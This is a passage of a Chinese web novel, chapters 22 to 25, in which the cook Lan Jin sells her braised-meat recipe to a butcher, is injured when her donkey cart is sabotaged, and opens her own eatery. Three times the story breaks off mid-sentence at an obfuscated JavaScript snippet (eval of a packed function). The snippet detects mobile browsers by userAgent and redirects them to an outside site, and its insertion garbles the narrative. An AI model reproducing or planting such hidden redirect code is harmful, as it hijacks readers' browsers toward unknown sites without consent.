蓝锦笑道：“那你得多买点给你娘子吃，好叫她心肠柔善，从此不再让你进不了门。” 也不知他是真信了还是没信，总归为这香味买了单，携在胸前，匆匆追上去求饶恕了。 瞧瞧日头过了晌午，宾客居民都往食店里去了。 蓝锦拿出两个温热的馍馍，把卤肉切片，往里一夹，大快朵颐起来。 等到下晌，不管是冶游的宾客，还是附近的住户，都开始为肚腹奔走，卤味生意又重新红火起来。 一个膀大腰圆的虬髯大汉来到小摊，直接把剩下的卤猪下水全都包圆了，连卤汤都买走了。 蓝锦十分满意，这卤肉生意，能做！ 蓝锦一连卖了好些天，不断开发新品种。还要拜硬喊她“师父师祖”的便宜“徒子徒孙”们所赐，收获颇丰。 因他们跑腿，全万年县，但凡需要下酒菜的人，别管是身处天香楼还是如意楼，一要了酒，第一反应便是：“那个厮波，替我去买二斤蓝记卤肉！” 酒楼还没有什么动静，西街先有了仿品。李厨子立刻殷勤地买了回来，跟蓝锦说：“师父，我尝过了，不入味，还有一股子苦味，可难吃了！您试试？” 蓝锦一品，果然是这样。她也不放在心上了。 现在，她只管在小摊上做个甩手掌柜，看个火候罢了，连切肉都有专人。 此刻，她正闲坐着，等一个大客户。 此人或是清晨时分到，或是傍晚收摊时候来，回回都把她的卤货包圆的。今晨没有等到，她也不急。 “小娃娃，你这摊子上卖的是什么美味啊？”一位须发皆白，仙风道骨的精瘦老头含笑询问。 蓝锦差点以为她遇上了修道的玄门中人，原来方外之人也爱卤肉的？ 不过想想百无禁忌的妙清师太，还下山偷偷吃猪油点心和酒糟熏鱼，她又释然了。 “老先生，我家这是卤肉。心肝肚肺，猪舌猪尾肠节子，无一不有，您试试？”蓝锦热情道。 “不用不用，先给我来碗卤汤。”老头神秘一笑。 蓝锦心道：这是当卤子不要钱，就来她这打秋风？ 22. 第22章 这老人家目光炯炯，两腮却瘦得凹陷，活似脱了相。 蓝锦只怕他是家境破败的道长，便给他盛了半碗卤汤，还好心地加了几片猪肺。 老头抿了一口，眉毛一动：“甚好，甚好！”还吃了口猪肺，鲜美软糯，不腥不膻。 他不停点头，拍下一锭银子：“剩下的老夫全都要了！” 蓝锦吓了一跳，这位老丈这么瘦，饭量却这么大？ “这么多，您能吃完吗？日日来买也是可以的。” 瘦老头一捋胡子，呵呵大笑：“我不过偶然路过此地，便寻得如此鲜物，今日便须尽欢，明日我就离开了。都给我包上！” 敢情是旅游路上带纪念品的观光客。蓝锦指挥便宜徒孙们打包。若是这个时代有真空包装和冰袋，老人家估计能买一整锅。 这位新的大顾客刚走，蓝锦就等来了她的忠实大客户——那个膀大腰圆的虬髯客。 “这位客官，真对不住。今日全都卖完了，只剩这半锅卤汤了。”蓝锦笑道。 对方却有些羞窘，支支吾吾道： “额，我不是，嗯......小娘子，你手艺好，寻常要扔的杂碎，侍弄得这般......真是祖师爷赏饭吃，旁人求都求不来。” 踟蹰半天，他终于眼一闭，心一横，图穷匕见—— “小娘子这卤肉方子可卖？我愿出高价！” 蓝锦蹙起眉头，细问来，方知他是西街上的肉铺老板。 本卖生熟肉的，从顾客那打听得天香楼对面小摊子上有好卤味，胜过自家许多，便匆匆地连汤带肉都买回家。 然自家的肉往汤里一煮，浑不是那个味道！ 还侥幸是汤不够老，他便接连买了多日。灶头火不停，所费不赀，却只能仿得五六分像。 蓝锦心下好气又好笑。怪道说西街有了拙劣的卤肉仿品。 打量他是饭量大似牛的熟客，谁知却是千百计琢磨着自家秘方的同行。 也是没想到，还有同行这样不惜工本。买了一次还不够，还日日不落地来包圆，生怕自己不卖卤汁似的。 说他精明好像也精明，可却又透着一股子朴拙。她这卤肉的门道，可不是轻易窥探得去的。 “对不住，对不住，我不是有意要抢小娘子的饭碗！若买方子不便，能不能打个商量。” “在我那肉铺里专辟出一角，你我合卖这卤味，还省去小娘子几番劳累。” 络腮胡极力堆笑，打了个千。 “小娘子放心，不是我夸口，我家肉铺是祖传生意，上下开了三辈，全城的生意都做得。” “您去街上打听打听，酒楼茶肆，贩夫走卒，没有不知柴家肉铺的！这卤肉在我家售卖，保管更红火。”络腮胡拍着胸脯，一脸诚恳。 这话却讲到蓝锦心坎里了。她要挤出时间，教做糕团，验收抽检。还要日日摆摊，不管是日头高照，还是刮风骤雨，她都不曾停歇。 起早贪黑，星光下备料，鸡鸣便动身。 这小摊还没片瓦遮头，即便所赚丰厚，人也着实辛苦。 只是合卖也没法全然撒开手去，又多添一种活计。 “我这卤肉方子样样精细。汤头分头道二道三道，连原料侍弄都分东样、西样、南北样。桩桩件件都有讲究，哪是买了卤汤去就能学成的？” 蓝锦面上笑着，口气却绵中有骨，并不退让半分。 柴络腮胡饶是面皮再厚，此刻却也涨得花鹦哥似的。 “本就是我的不是，我的不是，给小娘子赔罪了……” 不能不低头，这方子实在好吃，全家都折服。 更何况，这些时日，自家的熟食生意门可罗雀，连带着生肉铺头都不如以往景气了。 “合卖就不必了。只是不知柴郎君能拿出多少诚意了？” 蓝锦笑得狡黠，叫徒子徒孙们看来，颇有点老奸巨猾。 “有有有，绝对有诚意，小娘子您开口，只要您愿意张口，多少我都是乐意的。” 柴屠户眉梢一动，满脸喜色。 “那好，这卤肉方子我开价三十两，你自家去商量，若是愿意，再来细说。” 蓝锦也不客气，谁叫他先兵后礼呢？ 一旁的李厨子倒是吃了一惊。饶是他爱顺点主家东西，用下公厨灶火挣钱，他也不敢开口叫这么高的价码。 这小小的食方，竟然这样金贵，倒是多少人家许久的嚼用了。 柴屠户初始还喜，渐渐有些不多不少的踟蹰： “小娘子爽快人，我本不应该犹豫。” “只是这银钱比我出门时和娘子讲得多了些，我做不了主，这就回去知会一声。” “小娘子可一定要等着我柴新，万别卖了旁人！” 真是有种实诚的精明！ 不说些叫她生气的压价的话，也不为了面子瞒着自己的境况，却又聪明地一定要把握住她这好方子。 那是，她这卤肉方子，可是曾经历过天南海北各方食客的考验改良。若能买成，可省得逐个地去生药铺子买香料。 费柴禾，费心血，费好肉，费工序，白花花的银钱投入去试。 不待蓝锦回答，柴新便把自己拎来赔礼的二斤金钱腱托给两手空空的李厨子接着，扭身就跑远了。 蓝锦心里笃定这事能成，不见恼怒，心中松快地哼着小调。 “师父，你真厉害，看着面嫩，举止却老道有章法，任谁也不敢欺了您去。不过，他们先前偷仿我们的卤肉，缘何还要把方子卖给他们？” “我这方子做出来的好吃吗？” “好吃！那肯定好吃！” “其中的滋味，你从前都没尝过？” “没尝过！也不是这么说......就是，觉得有些熟悉，合在一起，却美味极了！” “那是自然，又没用大家都买不到的香料，也不是凭空变出来的美味。他若真是潜心研究，把我时常光顾的药铺杂货店都询问个遍，早晚能仿出个七七八八。” “那不能的，师父聪慧，若换了旁人，材料摆他面前，他都研究不出来！” 千穿万穿，马屁不穿。蓝锦心知肚明地瞥了李厨子一眼，却也受用。 “最要紧的是，如果卖了这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541965|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方子，我便攒够了钱，足以盘下县城的一个小铺面！” 卤肉虽受欢迎，却不能完全发挥蓝锦的厨艺。她还是想给自己赚个大厨房，想做菜！ 柴新小郎君果然是个守信的，这才过去多久，便急匆匆地揣着东西赶来了。 想是全家几代人本就乌泱泱地在那翘首盼着他的回音。 故而半只脚刚踏进家门，便商议起这事来了。 他一五一十地复述，柴家竟是满口应下了这三十两。 买卤汤原是柴新一人的主意，他对自己的熟食铺头本有几分得意。 没听闻从前只有“柴家生肉铺”的名头，直到传给他，方才把熟肉也做出名堂。 他卖的是盐卤肉，白切的。有淡淡咸味，佐餐不赖。附近的住户懒怠碰灶头，没有不来他这买上几两现成熟货的。 因为便宜，这桩生意，连大酒楼的冷盘也轻易抢不走。 故而他遇上蓝锦这个高手，第一反应就是过两招：我看看倒是什么花架子！很可惜，他勘不破人家这卤汤。 今日叫他爷爷知道，自家子侄辈用这等歪心思侍弄生意。一拐杖杵过来，直叫柴新当着新妇的面，差点脸皮子和门牙俱溜之大吉。 “蓝小娘子，你还有什么要求，只管写上。”柴郎君嘿嘿陪笑，殷勤地奉上纸笔。 蓝锦条分缕析地讲明了自己的想法： “这方子不可转卖他人，教会你我就不做了。” “我做卤味，本就为着打品牌，故而你卖它的头一个月，要挂上‘蓝记’的签子。” “每样做法，我都手把手教你一遍，当月内有什么不解的，尽管来蓝记寻我。此后我可就撂开手了。这一月之后，签子可以撤了，方子也任君改良。” 柴新无有不应，当下二人定了契。 蓝锦写下方子，林林总总，连白芷、丁香的成色偏好都记得分明。 柴新除了拿出三十两买方子钱，又附上二两银。解释说这是自家长辈深觉冒犯蓝老板的赔礼，好说歹说劝她一定收下。 蓝锦终究收了，复又庆幸自己这美味的卤肉方子没有所托非人。 早早卖完了卤肉，还因卤肉方子得了一大笔银子，蓝锦彷佛看到有家小饭馆向自己招手，驾着驴车唱着歌就回了家。 正好不用再搁天香楼门口受气。这里地段虽好，人流也大，却要整日忍着萧掌柜她们的白眼。 若非县令铁面无私，只怕天香楼早把她们赶走了。 等她开了餐馆，便叫余下的婶娘们，都到自家小店门口摆摊，聚一聚人气。 蓝锦却不知乐极也会生悲。明明是日日都走惯了的路，碰上个小石块，驴车忽然“怦”的一声散了架，把她跌出去几丈远。 一切发生在一瞬间，电光火石，蓝锦只觉冷风呼啸，脑海中一片闪电样的白，五感霎时退化。 后头突然蹿出来几个黑衣壮汉，把疼得冷汗直冒的蓝锦，七手八脚地抬到他们的马车上。 “诶，你们，你们干什么！嘶——” 冲击最强烈的瞬间过去，随知觉一起恢复的，是潮涌般的疼痛。 23. 第23章 “怀瑾，如何，是不是天上难觅，地上难寻的好卤味？” 萧仁禹掀开面前的竹节碗，看着小小的“蓝记”花签，默默笑了。 穆玄清盘腿坐在萧国公府的八仙椅上，手执竹签，捧着竹节碗，一口接一口吃个不停。动作狠准稳，连一丝汤汁都没有漏出来。 萧仁禹是在公府门口遇上的穆玄清。老头子一见他，就拎着他回转：“值房每日都能去，此等美味，错过可惜！” 上值的时辰快到了，萧仁禹拿起两个竹节碗，匆匆上了马车。 “嘿，你这小子，呆板无趣，不懂欣赏。一点都不像我的徒弟。”穆玄清啐了一句，不理会请他去客房安置的仆从们，自顾自享受着从蓝锦那打包的卤味，吃得胡子一翘一翘的。 值房的朝食没什么选择，翰林院的清贵文人们也都餐风饮露的、讲求颜回之风的雅致君子，一壶清水，一块硬饼，便能对付三餐。 萧仁禹打开卤味小碗的盖子，把值房提供的饼子慢吞吞地掰开，往卤汤里蘸。 “怀瑾，这是什么？这么香啊？” 蒋新一向爱与这个光风霁月的萧家二郎搭话。 “你的饭食如何跟值房的不一样，你可不能撇下我吃独食啊！” “不过是卤味而已。你回去吧，小心打湿我的公文。” “小气，什么好东西。看一眼也不许，我才不稀罕呢。” 蒋新不情不愿地回了自己的书案。话虽这样说，这股咸香复杂的气味一个劲往人鼻子里钻，叫人无法集中注意力。 他这边咂摸着口水，只能眼睁睁看着萧仁禹大快朵颐。瞧他吃得一脸享受，活像只吃小鱼干的馋猫，还“不过是卤味而已”。 几位大人差不多同时赶到，看了一眼萧仁禹，互相交换了眼神，各自坐下了。 “怀瑾，知道你天纵英才，虽出身武将世家，诗文奏对也这般出挑，得了圣上钦点。只是来了翰林院，便把行伍气收一收。办公时还要耽溺口腹之欲，实在不是君子之道。” 萧仁禹礼貌颔首：“前辈勿怪，晚辈见上值时间未到，此物为恩师远道带来，不能久搁，这才带到了值房。” 蒋新蹭地一下站起来：“怀瑾兄，别急，我替你吃，省得它搁坏了！” 萧仁禹不去看他，眉头都没皱一下，竹签动得飞快，将两碗卤味吃得一干二净。 蒋新的心一寸一寸冷下去。堂堂国公府的公子哥，竟还护食。 几位老大人的眉头越皱越深：“上值的时辰快到了，你们两个怎能还在这里嬉闹。” 萧仁禹卤味也吃完了，用白帕轻拭嘴角，不慌不忙地拿出一沓文书：“明日要的书稿，我早已整理完毕。” 老大人们接过来，满意地摸着花白的胡子：“不愧是萧腹笥，博学多闻，援古证今，做得好！” 蒋新满腹委屈，美味没吃上，还被卷王同事比下去了，他真是出门没看黄历。 瞧那萧二郎，得意得像他家门房上吃饱喝足的小猫，懒洋洋的只管翻肚皮。 ** “嘶——”安琴把蓝锦的脑袋拢在怀里，张阿婆手下用力。只听一声惨叫，“咔吧”一声，蓝锦脱臼的脚踝骨归了位。 “好了好了，小娘子再坚强不过，都没有哭鼻子。”张阿婆与姐妹几个熟识，只把她当小娃娃哄。 蓝锦还是哭丧着脸：“阿婆，这要几时才能好？” “敷点药，歇得住便歇上两三个月，养养就好透了。” 蓝锦撇撇嘴，叫安琴看见了：“还打量去县城支摊子啊？如今只是皮外伤，便是万幸中的万幸了。咱们家又不是没进项，我那豆腐坊是摆着好看的？听阿婆的话，就在家乖乖歇着。” 蓝锦心下郁闷，却也没法子，接过小秋递来的私藏糖果，放入口中香香嘴。 蓝锦叫几个坚称自己是“过路好心人”的黑衣大汉一路载回了家，连驴车都给她拉回来了。 顾知正在院中，与老老实实站作一排的不速之客大眼瞪小眼。 安琴伸头望了一眼，低声道：“明明是走惯了的路，怎么今日就出了这桩事，他们是不是专门来为难你的？得亏是离家不远......” 蓝锦疼得龇牙咧嘴：“不好说。说是为难，我疼急了，拿石头一砸他们脑袋，也并未翻脸拔刀。说不是，二话不说就把我往马车上带，那架势，也怪吓人的。” 甲一脑门上的红包肿得老高。 萧二公子交待要暗中照看，如今倒闹到蓝小娘子家里来了！还不知面冷心冷的二公子要如何为难他们。 二公子近日行事还颇为诡异，尤其是沾上这位蓝小娘子。但愿乙一脚程够快，早点报知二公子，快来解救他们于水火吧。 安琴还是听了蓝锦的话，把这些黑衣人们当客人对待。既然他们说是过路的好心人，那就当是这样招待。 她去厨房煮了份羊汤，把蓝锦早晨炖上的卤肉盛出来。 这本是自家今晚的吃食，卤肉没用杂碎，全是正儿八经的好肉，也是乡下人家顶顶拿得出手的饭食了。 顾知忙过来搭把手，把夹好的肉夹馍端出去，分给这群过路的好心人。 甲一也顾不上其他的了，一拿到手，就狠狠地连咬好几口。 这可是蓝小娘子做的，要知道，二公子可只愿吃蓝小娘子做的吃食。 肉香扎实，每一根肉丝都被浸透了卤汁子，那股子霸道的荤香充斥着口腔。 酥酥嫩嫩的饼皮，内层吸饱了肉汁的滋味。白色的馍馍微微转褐，搭配上深酱红的卤肉，很诱人。 卤肉切得细碎，肥的瘦的比例正好，相得益彰。吃起来不柴不腻，油香满口，而且还软烂多汁。 每个肉夹馍都装得满满当当，张大了嘴一咬，肉块从嘴角两边几乎挣扎着窜出来。 甲一拼命用嘴去裹溜号的肉块，一丝肉汁子都不舍得放过。 在嘴里越嚼越香。馍馍脆韧，有面食的馨香；卤肉咸鲜，是大荤之物的肉香。两种香味混合在一起，一直香到了胃里。 牙齿拦着，锁着，和肉夹馍打着架。舌头吮着，舔着，和荤香气难舍难分。 几个肉夹馍下肚，胃里踏踏实实地得到了抚慰。好像好些天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541966|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疲乏都被赶跑了。 甲一几乎吃得痛哭流涕，这种从猪食直接迈到天上人间的感觉实在是太好了。拼着叫二公子责罚，这桩差事也是赚到了！ “好吃，蓝小娘子的手艺真是太好了。” 安琴奇道：“你怎么知道这是她做的？你怎么知道她姓蓝？” 甲一慌张一瞬：“嗨，你们，你们刚才说的呀！” 安琴歪头：“我说了吗？” 甲一又赶紧找补：“是县城，我们哥几个去过县城，都知道蓝小娘子的手艺。你们都不知道，满城都知晓有个蓝小娘子，做得一手好卤味，名声都传到万年县之外了。” 蓝锦像只大猫咪被挠到了痒处，饶是躺着做病号，也笑得眼角弯弯。 安琴满腹怀疑地进了门，又回头给顾知使了个眼色。 看着点，等他们吃完，赶紧叫他们走！ 顾知小鸡啄米般点头，完全领会了安琴的威压。 ** “这是怎么回事？”萧仁禹白日里的春风得意全然褪去，手拿一个轮轴，神情严峻。 “回二公子，应该是有人在轮子上动了手脚，轴承难以长久承力，所以驴车行进了一段时间后才毁坏。”乙一把头埋得很低。 “你们的眼睛是用来进出气的吗？” “之前看她上车时还好好的，途中颠簸也当寻常，确实疏忽了......” 萧仁禹冷声道：“查，立刻去查那辆驴车，谁牵过，谁喂过，谁靠近过。军杖姑且记上，速速随我回去。” 萧仁禹也不懂自己的愤怒从何而来。 也许是他第一次派自己的手下，照管一个自己选定的人，却出了这种小儿科的意外。 “敢动我的厨子，真是胆大妄为。” 知不知道，他吃不饱饭会变得很可怕，很不好惹，冷得像冬日里玩冰嬉用的刀！ 蓝锦躺在被窝里无所事事，心情却是郁闷。小秋去学堂了，安琴去卖豆腐了，顾知帮她挑担子。 唯有她想做什么都无能为力。她还得教柴小郎君做卤肉，教婶娘姐姐们做新花糕，也不知耽搁了这些天，牙人那里的好铺面有没有被挑光...... 她拿细绳团了一个小球，往对面墙上一下一下地抛过去，再接回来。 “啊！”突然出现的面孔结实吓了蓝锦一大跳。 待她看清是萧仁禹，只埋怨道：“你这人怎么这样，不知道人吓人，吓死人吗！” 萧仁禹二话不说，连着被子裹起蓝锦，把她捧到了自己的马车上。 蓝锦大声道：“你想干什么！都没跟家里人说一声，你要带我去哪儿啊？” “去我那，给你请大夫。” “我看过大夫了！再说了，关你什么事，无缘无故的，我为什么要去你那？” 萧仁禹冷淡道：“你摔了，我就没饭吃了。不去我那里，你还想去哪儿？” “小秋和安琴会着急的，我们说好了晚上商量去县城找铺子的事！婶娘们也等着我......” “我留了字条，你就看伤吧，别的别想管。” 24. 第24章 “哎哟，你们这伙强人，下手这么狠！小心我......哎哟！壮士饶命，我上有老下有小，求您高抬贵手，饶了我这一回吧。我有钱，我给你们钱。” 天香楼的萧管事叫人用麻袋套了头，渐渐没了声音。 “钱也拿上吧，他给的。” 甲一面无表情地勾掉小册子上的名姓：对驴车动手脚，萧管事。 套麻袋教训人，这么幼稚的把戏，二公子真是话本子看多了，就会叫他们下黑手。 萧仁禹正跟蓝锦进行着幼稚对决。 “我不喝！” “你要喝。” “我才不喝！” “你才要喝。” “我这是皮外伤，皮外伤你懂不懂？哪家药堂的大夫说皮外伤需要喝药的。” “你底子薄，又受过大寒，按大夫说的，险些丧命的身体。如今怎么敢这样劳心劳力，太大胆了。” 蓝锦有些心虚，勉强接过苦药汁子。 是吗？她倒没有注意过，只以为是吃得还不够有营养，一心想要多赚钱，觉得吃点好的就有力气了。 不喝白不喝嘛，钱都付了，不喝浪费了。 蓝锦一饮而尽，叫药汁子呛得胆都呕出来了。 苍天呐，她蓝锦就算再死一回，也不愿意喝一口药汁了！ 萧仁禹不给她这个机会。在这个万年县的幽静别院里，蓝锦把苦药汁喝了一天又一天。 不喝不行啊，萧仁禹用不让她见小秋来威胁。她磨了又磨，也只答应帮她跑腿送信。 “好没好啊，大夫啊！这么个治法，阴曹地府的鬼魂都给唤回来了！” “童言无忌，童言无忌！小娘子平素喜动不喜静，饭量也与一般闺阁女子不同。虽然底子有亏空，现下也补得差不多了，只是要多歇息，不要太过......” 蓝锦大叫一声“我好了！”，冲出门去，又叫萧仁禹拎小鸡一样拎回来。 “阿姐！阿姐！”厅堂里的小秋眼尖，她本坐在八仙椅上，神情严肃像个小大人似的喝茶。现在笑得像个观音身边抱锦鲤的粉腮娃娃，追着蓝锦就去了。 安琴也来了：“如今真是大好了，瞧着气色也好。还是万年县的大夫厉害，这事还得谢谢萧公子。” 她们对此事也有过不解。寻常人家，能刚一说要接人去城里养伤，就立时置办下这么一个大宅院？还人参燕窝地慢慢将养？ 萧仁禹只说，他是南来北去的客商，主做海上生意，如今不到季节，所以暂时看起来像个富贵闲人。 哪有商人满腹书卷气，身形又魁梧得像行伍中人。 若真有这般家资，不说满面皱纹，也该是膀大腰圆，满口金牙齿，市侩俗气些。 蓝锦不知这个时代的人都是什么面貌，还以为古人就是有古韵，接受良好。安琴只在心里默默起疑。 小秋不懂大人们的眉眼官司，她只兴冲冲搂住蓝锦的腰：“阿姐，我们的铺子买好了！小秋亲自去挑的哦。” 蓝锦听着生意的事就来劲，她已看过萧仁禹画的图，也听他跑完腿后细细讲过。 此刻喜笑颜开：“小秋挑得好，这铺子的地段好，是三条主街的交汇处，每条街上都能注意到。” “旁边还有一小片空地，还能让婶娘们都去那里摆摊子。背面又有河道，张罗些便携的，出餐快的，做做船客生意也使得。” “不知钱姑娘的糕团生意如何了，许久不教她们新花样，也不知有没有被张记李记的比下去......” 安琴叫她念得头晕脑胀：“都好都好，回头叫顾知把盘好的细账都给你瞧瞧，你就知道不必悬心，只管收钱就是。” “糕团生意好得不得了，如今万年县的婚丧嫁娶，哪一桩大事不用蓝记的点心？张记都叫你打得没影儿了，连娘娘庙的蜜塔都有人去哄抢！” 蓝锦果真高兴，样样都上了正轨，她这可真是躺着数钱，能数到手抽筋的那种。 “原先天香楼还想来分一杯羹，可她家新聘来的点心师傅，竟不知为何，与北境奸细扯上了干系。整个点心房都给查封了，为了避嫌，立时就无人抢这桩生意了。” 蓝锦奇道：“千里之外，如何此地还能有北境奸细？” 萧仁禹清清嗓子：“这还要仰赖蓝小娘子的糕团生意。若不是天香楼眼红，也不会病急乱投医，请来不知根底的点心师傅。” “他在糕点里下药，是一种能致使满城疫病的邪毒。还好他做得比蓝记的难吃千百倍，没卖几份就被发现了。” 蓝锦追问道：“那天香楼如何了？” “勾连北境，自然是封店下狱。” 蓝锦和安琴面面相觑，赫赫扬扬的天香楼，这么轻易就倒塌了？ 蓝锦心绪更加复杂。自己好像就躺了这么一段时间，怎么整个万年县都要气象一新了？ 柴新却还是一成不变地信任蓝锦，他乖乖地等着蓝锦养病，只自己练了几回卤肉，不敢贸然开张。 蓝锦过去略一指点，他开窍得也快。还主动为蓝锦的食店免费提供一个月的猪肉，之后都按八折结算。 蓝锦满口应下，不觉得柴新吃亏了。她对自己的生意很有自信，柴小郎君是提前给自家拉了一个大客户呀。 这天，柴家果真新辟了一个小铺头，系着蓝布旗子，上书两个大字，“蓝记”。 桌案上整整齐齐摆了几大锅热腾腾、香喷喷的卤肉。 有块大肉嫩的猪舌头，笑得憨态可掬的赤红色猪头肉，还有卤猪肝、猪心、猪蹄膀、猪肠...... 柴新换了一身崭新的短打，站在卤香氤氲的熟食摊前，大声吆喝。 “瞧一瞧看一看嘞，正宗蓝记卤肉，蓝小娘子祖传秘方！” 他听从蓝锦的建议，头几天，每样安排几小块肉，切成一口大小，供人试吃。 待人群认出这就是蓝锦卖的那个味道，吃过的，没吃过的一拥而上。 柴新笑迎八方客，不忘兑现给蓝锦的承诺。 “以后卤肉只管来我这买了，蓝小娘子要开食店了，就在淳熙坊大柳树旁，您认准了蓝记！” 这一头，蓝锦在满城分发一串三个的糖葫芦。有酸枣的，也有山楂的。葫芦签字上贴着一张红纸： 淳熙坊蓝记饮食店，明日开张，全场五折。 如是多番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541967|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣传，日头未落的时候，满县城的大街小巷都知道：原来摆小摊子的蓝记，要在淳熙坊有铺面了，还有什么开业酬宾！ 朗空白云，日丽风清。 蓝锦和小秋早早地赶来自家小店，挂上特意去木匠铺订做的匾额：“蓝记饮食店”。 像中了状元似的，给这匾额戴上了大红绸花。 这是一栋两层小楼。一层做了食店，二层是蓝锦和小秋的起居之处。虽然地方不大，却也温馨融融。 安琴不愿来，村里的屋子不能没人管没人守，那人气就散了。再说，她的豆腐家当还在落霞村。 好在顾知还在茅草屋住着，也算有个照应，蓝锦只好答应了。 云江望吃饭最积极，她赶在早课前跑来，斜挎着布书包，送上一大盘鞭炮，“劈里啪啦”地给蓝锦壮声势。 如是吸引来了更多人围观，饶有兴致地探看着。 小店门脸两旁是向外支开的两扇大窗，桃花心木的窗格糊上雪白的窗纸，又雅致又亮堂。 方正齐整的桌椅，内间做菜的灶头开了小窗，从外头一眼就能看见动静。 墙角放着小几，搁着花瓶插着鲜花。柜台干净发亮，墙上整齐地挂了几排朱红色的菜牌，各个明码标价。 这样的小店即便不坐下吃饭，打眼一看那一尘不染、宁静悠游的样子，也像人离沙漠乍饮甘露一般舒心。 蓝锦系着个小围裙，走到门口揽客：“诸位父老乡亲，今日小店开业，所有菜都只用付一半的价钱，机不可失，先到先得呀！” 众人蜂拥而入。之前，蓝小娘子的摊子不开了，天香楼倒了，许多老餮没了去处。 如今可真是瞌睡来了送枕头，蓝记饮食店的花样可比小摊子上多多了！ 蓝锦拿着把小扇子，不停地扇那盆红艳艳、亮盈盈的红油调料，酸辣的香气氤在四周，渐渐飘远。 “蓝老板，你面前这个是什么？看着恁地美味呀！” “这是贡菜拌毛肚，放了茱萸的，客官能吃辣吗？它可辣得像炮仗似的！” “为了蓝老板，不能吃也能了！给我来一份。” “好嘞！” 蓝锦泼油拌匀，香气四溢，很快端上桌。客人夹起一筷子，只见灰褐翠绿，皆裹满白芝麻。 红彤彤的汁水从头挂到脚，慢吞吞地往下流淌。 放入口中，只觉咸香麻辣，嘎嘣噼啪，好似那炮仗一般脆！ “嚯，这可不是辣得像炮仗，这菜本身就活似个炮仗啊！” 蓝锦笑答：“这是莴苣做的，可脆口了。爽脆弹牙，好不舒爽！这料汁子里芝麻多吧？可香了。” “老板，我也要！” “这桌也上一份啊！” 原先还观望的客人，见了旁人的吃相，还有什么不明白的，立刻全要了。 有选择困难的客人也不纠结了，直接allin。 遇上书生打扮的客人，蓝锦还要打趣：“口中鞭炮喈喈，笔下文章惊雷，来蓝记讨得好口彩！” “我这乡试正该借老板吉言！” 蓝锦心道：这才是正经书生所想，如何顾知却不急着备考？ 25. 第25章 “师父，您吃冰酪。”李厨子殷勤地给蓝锦打扇。如今蓝锦开了铺面，他就赖这不走了。 连同他的几个徒弟，桌子，凳子，筷子，勺子，铲子，也都带来了。 横竖县令府也不太重视他们的手艺，他干脆把自己拜师的打算说了，要辞工。 卢县令倒是惊讶，自家一向有几分傲气的厨子，肯拜年轻女娘为师，这个蓝记果真是不可小觑。 蓝锦的小店刚开张，就莫名多了一水儿的壮劳力，还都满口“师父师祖”。 只求在蓝锦做饭时在旁围观，连工钱都不愿收。只说这个行当，没有师父倒给徒子徒孙钱的道理。 蓝锦只好作罢，改成平日给他们吃得好些。 把“徒弟”孝敬的一碗冰酪吃下肚，蓝锦翻开昨日的账本，小算盘拨得飞快。 多亏安琴的教导，她打算盘如今也是学成了。 开张第一天，小饭馆生意火爆，甚至有客人当场预订了一场宴席，直接支付定金。 林林总总，净利竟有三两银子，算得上出师大捷了。 早先赚小摊本钱的时候，寻年节下进城卖山楂糕，十几天也不过赚得六两银，如今一天就能赚得一半。 “锦娘！我们都来了。”做蓝记糕团生意的女娘们，把娘娘庙的蜜塔单子也接了过去，如今刚从那回来，都来蓝锦的小店捧场了。 “哎呀，大老远的，你们怎么还专程过来。”眼下并非饭点，蓝锦赶紧放下账本，三步并两步走出去。 “锦娘开了食店，我们老姊妹怎能不来捧场？回头跟村里人有得吹：我们去过锦娘的食店，也算是见过世面，吃过龙肝凤髓了！” 众人哄笑。蓝锦拉着吴老太的手，把她们请进店里靠窗的位子。 运河上的走船号子若隐若现，微风带来一股凉意，这是店里最好的座位。 “自家人来了，我也不摆什么架子。如今熄了火，厨下有什么，就给你们上什么了。大家可不要嫌我怠慢！”蓝锦系着小围裙，正往头上扎白巾子。 “不嫌不嫌，你就给我们上泔水，我们也捏着鼻子，皱着眉，嘴里还说，好吃好吃。” “你可真够恶心的。”青苗婶子伸手轻轻一打。 蓝锦也笑了。赶巧今天是柴家肉铺送货的日子，蓝记要货量大，品种也多，与他们约定，每隔三日上门一回。 盘账之前，蓝锦便在清点货物。大扇猪肋骨，这个做红烧排骨、糖醋小排。猪蹄子也不少，主推一下蓝记发财手，河上走商的客人一定喜欢。 猪肝仍是做热炒，滑嫩喷香。猪肚配上新鲜宰杀的活鸡，来一个胡椒猪肚鸡汤，热热辣辣的，喝得发了汗，滋补又美味。 蓝锦订货不挑什么部位，因为无论什么食材她都有办法侍弄。 